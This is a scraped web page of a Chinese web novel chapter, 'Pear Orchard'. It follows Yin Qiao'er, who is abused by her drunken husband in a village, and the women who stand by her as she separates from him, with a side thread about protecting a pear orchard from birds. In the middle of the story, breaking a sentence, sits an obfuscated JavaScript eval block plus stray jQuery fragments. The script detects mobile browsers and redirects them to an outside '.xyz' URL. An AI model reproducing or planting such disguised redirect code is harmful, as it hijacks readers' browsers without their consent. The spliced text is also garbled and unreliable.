默认冷灰
24号文字
方正启体

6. 梨园

作者:姜楠不知春本书字数:K更新时间:
    一大早,日头掩在云层之下。张宝儿坐着大巴摇摇晃晃去城里。和张宝儿同一辆大巴上的,还有张文强。


    张文强闪现回家吃个馍,又闪现背着一袋子馍去上班。


    清早困顿,大巴上安安静静的,可张洼村的早上,很是喧嚣。


    三虎子的老妈王秀凤,一大早得知三虎子昨夜醉酒打老婆,很是生气。


    王秀凤饱经风霜的脸上满是愤怒。


    “一天把那烂酒喝上了就打老婆,日子日子不往前过,要死啊你!”


    王秀凤冲进屋里对着躺在炕上熟睡的三虎子脸上就是几巴掌,还在美梦中的三虎子睁开了睡眼迷蒙的眼。


    三虎子眼里的怒气在看见老妈的那一刻消散殆尽。“妈,你咋来了?”


    “你昨晚干啥了?”王秀凤气势汹汹。


    “我啥也没干啊?”三虎子一脸莫名其妙。


    “那巧儿呢?”


    “巧儿不在我身边睡着吗?”


    三虎子转头,身旁空落落的。


    打眼扫了一圈家里,看着凌乱的战场;记忆回笼,三虎子脸上带上了一丝悔意。


    “妈,我真喝醉了,我不是故意的。”三虎子开始满院子找银巧儿。


    王秀凤不解气,拎着扫帚对着三虎子就是一顿打。


    “妈,妈,你饶了我吧!妈!”


    院子里,三虎子企图用叫声唤醒母爱,不料王秀凤对此置之不理。


    天幕泻出一抹亮光,银巧儿一睁眼,才察觉这不是在自己家。


    往事如潮水般袭来,银巧儿整个人有些颓丧。


    自小,家里就有个弟弟。


    逢年过节,弟弟都有新衣服穿,碗里总有银巧儿渴望尝一尝的红烧肉。


    而银巧儿得到的,只有爷爷穿过的外裤改成的衣服。


    衣服宽大不合时宜,颜色深沉。


    幼时的银巧儿也曾欢喜过,自己终于穿上了妈妈改造的新衣服。


    可有次邻居的一句“银巧儿,你的这个衣服还好看,是你妈妈给你买的吗?”


    “不是,是我妈用我爷爷的裤子给我改的!”那时的银巧儿还很是自豪。


    “你爷爷的裤子改的啊!”年幼的银巧儿没有听出这句话里的微妙意味。


    后来,不管银巧儿穿着怎样的衣服出门,总有人嬉笑着问,银巧儿,你的衣服是你爷爷的裤子改的吗?


    后来,慢慢长大,银巧儿也渐渐明白了别的情绪。


    有次,银巧儿嚅嗫着对妈妈提出自己的需求,她希望有一件只属于自己的衣服,衣服当然没有,有的只是妈妈无声的拧打。


    妈妈生气的时候,总是紧咬后牙,嘴巴一角向上微翘,眉头皱起,眼里闪过强烈地不允许的意味。


    家里的爷爷奶奶爸爸说话都是粗嗓门,打人也是;只有妈妈,说话轻声细语的;也只有妈妈,打人的时候专挑别人看不见的大腿软肉,去拧、去掐。


    儿时慢慢过来了。


    成婚的时候,银巧儿也有过短暂的甜蜜。


    三虎子家里兄弟四个。


    大哥大嫂常年在外;二哥做了隔壁村的上门女婿;四弟在城里跑出租。


    三虎子一身的力气,是干农活的一把好手。


    可是这一把好手,打人时也自带雷霆千钧。


    这不是最可怕的。


    最可怕的,是三虎子家暴完之后,会下跪、会挽回、会涕泗横流。


    张宝儿到医院取到了奶奶需要的药,顺便到医院附近的取件点拿到了自己的快递。


    “喏,你就是前几天打电话的小伙子吧?这么多天不来我以为你忘记了。”


    “没有,主要是没捞得着来取。谢谢老板哈!”


    上次奶奶住院,张宝儿给奶奶网购了不少东西,大多都存在了这里;结果这次给梨园买的驱鸟神器也忘了改地址。


    梨树现在要结果子,鸟会吃果子。


    人总不能一直去盯着。所以,买个带有闪光和超声波的驱鸟神器很有必要。


    村里有村民会扎稻草人;也有人家会挂防鸟网;更有人家会派人专门的人在梨园旁边守着。


    张宝儿决定动用科技的力量,因为他觉得小鸟已经识别了稻草人;防鸟网挂起来工程量太大,不适合现在这个时候,冬季说不定可以;派专门的人守梨园,反观张宝儿家也没有多余的人。


    做完这一切,张宝儿便坐上了回家的大巴。


    车窗外的景色,无非就是嫩芽长出新枝。


    张宝儿的心境和当初回家相比,却大相径庭。


    当时回家,张宝儿不知道路在何方;如今,张宝儿只觉得前途光明灿烂。


    起初,江远山觉得这只是一场简单的家暴。


    了解到事情的始末后,江远山觉得,银巧儿独自一个人生活,也未尝不可。


    银巧儿有些惧怕三虎子,这种惧怕,在看到三虎子哭着来到张晓萍家后,更甚。


    银巧儿忘不了,有次三虎子在她面前痛哭流涕后,她心软决定跟三虎子回家好好过日子;当晚,就被三虎子单方面压制。


    那一瞬,银巧儿恍然间看见了漫山遍野的血色。


    很久很久以前,自然赋予了男人不同于女人的力量;这种力量,是男人与猎物搏斗的根本。


    可是男人,只会运用这种力量,来对付比他弱小的女人。


    银巧儿也曾在三虎子正常的时候,问过三虎子,为什么打人。


    谁知,三虎子只是似笑非笑地看了她一眼。


    “我想打就打,咋的?”


    三虎子的脸上布满了骇人地神色,银巧儿的心紧得一缩。


    不料,三虎子转眼便哈哈大笑了起来。


    银巧儿内心说不惧怕三虎子,是不可能的。


    可是放眼望去,整个张洼村,都是姓张的。


    银巧儿一个外姓女子,能帮她说话的,廖廖。


    银巧儿现在就是一整个孤立无援的状态。


    许是银巧儿的慌乱被张晓萍看见。


    和江远山交流的张晓萍,分了丝注意力给银巧儿。


    见三虎子又要故技重施,张晓萍先声夺人。


    “三虎子,你别再亏先人了!你今天就算把头磕破,银巧儿也不会和你回去!”


    还没有说话的银巧儿,听见张晓萍的这句话,眼泪夺眶而出。


    小时候,家里人都偏心弟弟。


    后来,村里有人说,金巧儿银巧儿,不如人家的铜锁儿。银巧儿,你说是不?


    银巧儿听到这话,想要立马反驳,可是她找不到家里人爱她的证据。


    这么多年来,已经很久没有人曾站在她身边,替她这样说话了。


    江远山见银巧儿情绪有些激动,便打算带着三虎子先出去。


    不料三虎子一整个戏精上身,他跪在银巧儿面前,哭哭啼啼。


    “巧儿,对不起,我喝醉了,我不知道那是你!”


    说着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875361|176287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,跪在地上的三虎子开始往自己脸上狂扇巴掌。


    “三虎子,你说说这话你说了多少遍了?光我听见的就不下五次!你上次也是这么说的,你现在看看你把人家打成什么样子了?”


    上次写的保证书还在自己手里,这次又把银巧儿打的鼻青脸肿,张晓萍属实有些生气。


    作为一个男人,把全身力气都使在女人身上,属实令人唾弃。


    看着三虎子这张惺惺作态的脸,张晓萍还在酝酿语言骂他,不料大门被人从外面打开。


    “嫂子,我真不是有意的。巧儿,你原谅我好不好,巧儿,看在孩子的面上,你原谅我好不好。”


    看着门外的来人,三虎子脸上闪过一抹慌张。


    “三虎子,走!别在这丢人了!”说这话的,是隔壁村入赘的二虎子。


    二虎子身后,是他们的妈王秀凤。


    王秀凤走到银巧儿身边,她牵着银巧儿的手。


    “巧儿,你是个好姑娘,当时我和他爹托了好几个媒人给我们相看,十里八乡我们心里最满意的还是你。”


    听见这话,银巧儿哽咽声渐大,许是知道接下来说什么,王秀凤的嗓音里也带了一丝泪意。


    “上一次,不仅是三虎子跟你保证,我豁上了我这张老脸,也跟你保证,三虎子不会再动你一根手指头。今天我也算是明白了,三虎子就是个记吃不记打的玩意。巧儿,以后,你就是我干闺女!巧儿,我这个干妈你认不认啊!”


    王秀凤低着头和银巧儿讲话,二虎子那边已经扯着三虎子回了家。


    银巧儿哭的满脸是泪,王秀凤粗粝的手帮银巧儿抹了抹眼泪。


    “巧儿,我回去就给三虎子说,你们把手续办了去。起屋子的时候你也在呢!你就和三虎子一人一面屋子。那个压面的小房子是你自己收拾出来的,也归你。等你们办完手续,我们再办个认干亲仪式哈丫头。”


    王秀凤说完,佝偻着背离开。银巧儿的哽咽声渐大。


    前面没人的时候,张晓萍给江远山讲了件事。


    有次三虎子喝醉酒之后,打的银巧儿眼眶里都是血。


    银巧儿找到张晓萍,又找到乡妇联主任,要求离婚。


    是王秀凤和三虎子一起跪在银巧儿面前求原谅,那次,银巧儿心软了。


    不料,家暴会推迟,不会消失。


    今日看这架势,三虎子故技重施,可王秀凤会给银巧儿一个交代的。


    结了婚,就是一家人了;任何权利,都不得干涉家人关系,这是多少年来默认的规则。


    这边的银巧儿还在平复心情,那边的张贤已经在喇叭上通知晚上到村委会开会。


    在张晓萍家吃过饭,银巧儿打算回家去。


    “干啥?你就在我家住着,三虎子在家你回啥家去?”张晓萍一把扯过银巧儿。


    “走,去开会!”张晓萍一声令下。


    “姐,我就不去了,我都算不上张洼村的人了!”银巧儿有些推辞。


    “咋算不上,那三虎子的那座院子里还有半面房子跟你姓呢!走,听听今晚会上讲的啥。”


    张晓萍拽着银巧儿就要去村委会。银巧儿摸了摸自己的脸,有些不好意思。


    “姐,等我围个围巾。”


    “围啥围巾?你就大大方方的让人看,人家三虎子都动手打人了,他不知羞;你受害者,你怕个啥!”


    张晓萍边说话边扯着银巧儿往前走,银巧儿只觉得眼眶热热的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)